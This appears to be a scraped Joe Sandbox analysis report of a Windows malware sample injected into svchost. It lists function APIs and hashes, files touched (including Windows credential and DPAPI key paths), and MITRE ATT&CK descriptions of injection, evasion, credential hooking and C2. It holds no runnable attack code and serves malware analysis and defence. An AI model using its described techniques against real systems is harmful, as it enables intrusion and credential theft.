API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: 264a528a6f3f269d4b5c4d99049e3f75b3c1b06e50a56728da50e3d8e8426a95
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: 69112A32714F018AEB00EF60F8553E837B4F719758F440E31DA6D8A7A8DB78D2A89340

Function 0000013DE2722544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000013DE2722628
StrCpyW.SHLWAPI ref: 0000013DE2722641

Part of subcall function 0000013DE2723858: StrCmpNIW.SHLWAPI ref: 0000013DE2723870

Strings

\\.\pipe\, xrefs: 0000013DE2722633

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: bbc7c948219a7feb5bbdef7df0ef4cc6af5694843480fbd47bc870989721aafd
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: 7071B1B7204B8289EB35FE25B8443EA7BB5F384784F55003ADE094BB89DE35CB05A700

Function 0000013DE2732C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000013DE2732D77
GetLastError.KERNEL32 ref: 0000013DE2732D99

Strings

U, xrefs: 0000013DE2732D23

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 9c0505371855fa0117c56295c7cbb962a51d66c403fcb1eddba89883083fd92f
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: 0C41A272225A408ADB61BF25F8443EA6BB0F398784F644031EE4E8B798EB3CC641D740

Function 0000013DE2728A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000013DE2728AA8
RaiseException.KERNEL32 ref: 0000013DE2728AE9

Strings

csm, xrefs: 0000013DE2728AD6

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: 8fa5da22416db5681e7117c4a4a9092644612ce5a02032eb9614756879cedc31
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: 5E113072219B8482EB61AF15F4402997BF4F788B94F584220DF8D0B754DF3DC651D704

Function 0000013DE2721BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000013DE2721C35
HeapAlloc.KERNEL32 ref: 0000013DE2721C43
GetProcessHeap.KERNEL32 ref: 0000013DE2721C7F
HeapFree.KERNEL32 ref: 0000013DE2721C8D

Part of subcall function 0000013DE2721534: StrCmpIW.SHLWAPI ref: 0000013DE2721565

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: c14f526e8716fda944a528217fc1074e69e92b4fded1d661f73d1f4e681b3129
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: 60118F76A02B4489EA05FB66B4042A96BB5FB89FC0F1C5034DE4D4B766DF38C682E300

Function 0000013DE2721268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000013DE272126E
HeapAlloc.KERNEL32 ref: 0000013DE272127D
GetProcessHeap.KERNEL32 ref: 0000013DE2721297
HeapAlloc.KERNEL32 ref: 0000013DE27212A8

Memory Dump Source

Source File: 0000000B.00000002.2664314576.0000013DE2720000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000013DE2720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13de2720000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 719f04b2e5cb3cbecb46ef11b107ba264e350dd03094814a390febef6ae71f12
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 19E06D35A016048AEB05AF62F80838A3BF1FB89F06F14C024CD090B351DF7D8699D750

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report r8k29DBraE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_r8k29DBraE.exe_eb64787a7acdaae91d5fed8f9e38caa8b37842_792eb0e9_ac445ba2-72a9-43bf-b1a3-43181b6be2cb\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE551.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE6E8.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE718.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE725.tmp.csv

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE774.tmp.txt

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\Preferred

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2246122658-3693405117-2476756634-1003\c5d68a1c-6539-448b-b76a-9bfdf868ce00

Windows Analysis Report
r8k29DBraE.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre